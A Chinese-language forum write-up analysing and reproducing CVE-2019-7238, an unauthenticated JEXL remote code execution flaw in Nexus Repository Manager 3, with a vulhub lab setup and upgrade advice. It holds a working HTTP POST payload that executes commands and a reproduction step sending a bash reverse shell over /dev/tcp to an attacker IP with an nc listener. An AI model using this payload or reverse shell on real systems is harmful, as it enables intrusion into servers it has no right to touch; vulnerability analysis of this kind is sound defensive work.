標題:Nexus Repository Manager 3(CVE-2019-7238) 遠程代碼執行漏洞分析和復現

taibeihacker

Moderator

0x00 漏洞背景​

Nexus Repository Manager 3是一款軟件倉庫,可以用來存儲和分發Maven,NuGET等軟件源倉庫。其3.14.0及之前版本中,存在一處基於OrientDB自定義函數的任意JEXL表達式執行功能,而這處功能存在未授權訪問漏洞,將可以導致任意命令執行漏洞。 2019年2月5日Sonatype發布安全公告,在Nexus Repository Manager 3中由於存在訪問控制措施的不足,未授權的用戶可以利用該缺陷構造特定的請求在服務器上執行Java代碼,從而達到遠程代碼執行的目的。

0x01 影响范围​

Nexus Repository Manager OSS/Pro 3.6.2 版本到3.14.0 版本

0x02 漏洞概述​

從官方的漏洞簡述來看簡單的來說就是由於未授權訪問的用戶可以構造請求而造成任意代碼執行。而且因為3.15.0+以上的版本增加了用戶認證,所以3.15.0+的版本不受此漏洞的影響。所以根據diff的結果,可以大致的確定漏洞在org.sonatype.nexus.coreui.ComponentComponent#previewAssets:
-w1338

:
oogqldendxx22739.png

0x03 整体触发流程​

ExtDirectModule$configure:60 # 路由綁定與請求解析ExtDirectServlet$doPost:155 # 處理post請求DirectJNgineServlet$doPost:595 # 根據不同的Content-Type來解析請求DirectJNgineServlet$processRequest:632 # 解析json請求JsonRequestProcesor$process:119 # 解析json語法樹JsonRequestProcessor$getIndividualJsonRequests:216 # 提取json數據JsonRequestProcesor$process:133 # 構造返回結構ComponentComponent$previewAssets:188 # 解析post包中的data數據並構造查詢語句查詢包ComponentComponent$previewAssets:208 # 獲得查詢結果BrowseServiceImpl$previewAssets:252 # 構建OrientDb查詢語句BrowseServiceImpl$previewAssets:258 # 拼接查詢語句BrowseServiceImpl$previewAssets:262 # 執行查詢MetadataNodeEntityAdapter$countByQuery:221 # 執行OrientDb查詢語句ContextExpressionFunction$execute:125 # 提取jexl表達式ContextExpressionFunction$checkJexlExpression:154 # 執行jexl表達式

0x03 漏洞分析​

漏洞的觸發主要分兩部分:post包解析及jexl表達式執行。

1. post包解析​

首先先看一下web.xml中如何做的路由解析:
xz3rdua3ycx22740.png

org.sonatype.nexus.bootstrap.osgi.DelegatingFilter攔截了所有的請求,大概率為動態路由加載,動態路由加載需要配置相應的Module模塊用代碼將配置與路由進行綁定並顯式加載servlet,而該漏洞的入口就在org.sonatype.nexus.extdirect.internal.ExtDirectModule#configure中:
zbonhp4yd1222741.png

直接跟進org.sonatype.nexus.extdirect.internal.ExtDirectServlet$doPost:
qkpgckyulxn22742.png

繼續向下更進看到處理post請求的部分:
dkjpumuaeew22743.png

在這裡我們跟進看一下如何對json格式的請求進行處理:
2h2culvietq22744.png

zikr5fv2xo122745.png

首先對json的語法樹進行解析,將數據提取出來:
y1sygsizytm22746.png

可以看到需要5個變量分別為action、method、tid、type、data。
注意到isBatched是由參數長度決定的,而返回的一個數組,其長度為1,所以isBatched為false。之後就是傳入processIndividualRequestsInThisThread方法中:
i5co3lgq2de22747.png

在這裡構造返回的結果,可以看到這裡在有一個json反序列化的過程,這裡主要是將返回結果以json格式返回。

2. jexl表达式执行​

從post包的解析中可以得知我們需要構造5個參數,同時當我們構造好action和method後,可以直接動態調用相應的類與方法。
這個漏洞出現在org.sonatype.nexus.coreui.ComponentComponent#previewAssets:
3azokeoctvu22748.png

首先將post包中repositoryName、expression、type的值取出來,這三個參數分別代表已經存在的repository的名字、expression的類型,以及表達式。
著重看一下jexl的處理過程:
eajvv1rjcjc22749.png

ygulrxdarj022750.png

注意到這裡只是實例化了一個JexlSelector對象,而並沒有調用evaluate來執行表達式,所以漏洞的觸發點在其他的位置。而真正的表達式執行點在browseService.previewAssets的處理過程中,這一點也是這個漏洞最為難找的一個點。
跟進previewAssets的實現,在org.sonatype.nexus.repository.browse.internal.BrowseServiceImpl#previewAssets:
l3rlbqvfrt522751.png

在這裡可以看到表達式最後會被當做參數形成SQL查詢,最後由OrientDb執行:
xapfw35pibh22752.png

但是OrientDb本身是沒有contentExpression這個方法的,也就是說明這個方法是用Java來實現的,找了一下,在org.sonatype.nexus.repository.selector.internal.ContentExpressionFunction:
s4gro4xz25i22753.png

在checkJexlExpression中:
1skxxxr4m2q22754.png

調用了selectorManage.evaluate來執行jexl表達式:
indnyg3njhq22755.png

0x04 构造POC​

通過上面的分析,我們只需要按照post包解析中的參數進行相應的構造即可,下面為一個例子:
windows環境搭建:
安裝參考:
在windows上安裝成功了。需要執行(默認密碼:admin/admin123)
nexus.exe /run
其POC如下:
POST /service/extdirect HTTP/1.1
Host:155.138.147.1:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/json
Content-Length: 308
Connection: close
{'action':'coreui_Component','method':'previewAssets','data':[{'page':1,'start':0,'limit':25,'filter':[{'property':'repositoryName','value':'*'},{'p roperty':'expression','value':'''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')'},{'property':'type','value':'jexl'}]}],'type':'rpc','tid':4}
rml23lrvpeu22756.png

注意,這個漏洞需要當Nexus中存在已有的jar包,在本地驗證的時候先傳一個jar報上去。至於原理分析可能後面會單獨再拿出來分析。

0x05 环境搭建​

1.在Ubuntu 16.04上安裝docker和docker-compose:
(1).安裝PIP
curl -s https://bootstrap.pypa.io/get-pip.py | python3
(2).安裝docker
curl -s https://get.docker.com/| sh
(3).啟動docker服務
service docker start
(4).安裝docker compose
pip install docker-compose
rxi0rzjwxwe22757.png

2.使用方法
(1).下載漏洞環境項目
git clone https://github.com/vulhub/vulhub.git
(2).進入到nexus利用環境
cd vulhub/nexus/CVE-2019-7238
(3).編譯環境
docker-compose build
(4).執行如下命令啟動Nexus Repository Manager 3.14.0
docker-compose build
5ubkkhujua222758.png
等待一段時間環境才能成功啟動,訪問http://your-ip:8081即可看到的Web頁面。
uv5pfap2h2p22759.png

賬號使用密碼admin:admin123登錄後台,然後在Maven的版本下隨便上傳一個JAR包:
02uxwqkfv4k22760.png

qlpncnju3oq22761.png

觸發該漏洞,必須保證倉庫里至少有一個包存在。

0x06 漏洞复现​

1.下載漏洞利用poc項目
git clone https://github.com/backlion/CVE-2019-7238.git
2.進入到CVE-2019-7238目錄
cd CVE-2019-7238
3.修改cve-2019-7238.py.這裡根據實際情況來修改remote=' http://127.0.0.1:8081 '和ARCH=“ LINUX ”的值
vi CVE-2019-7238.py
vzrnd3ppmco22762.png

4.在攻擊者係統中執行cve-2019-7238.py腳本,然後輸入反彈NC的bash
bash -i /dev/tcp/149.248.17.172/2333 01 #這裡的IP是攻擊者係統的IP地址
af5wbwwdmd422763.png

5.在攻擊者係統中執行NC監聽反彈
nc -lvvp 2333
zqh5ityijos22764.png

0x07 修复建议​

目前官方已經發布新版本修改了該漏洞,建議您參照上述【安全版本】升級到對應的最新版本。
最新版本下載鏈接:

0x08 参考链接​

 
返回
上方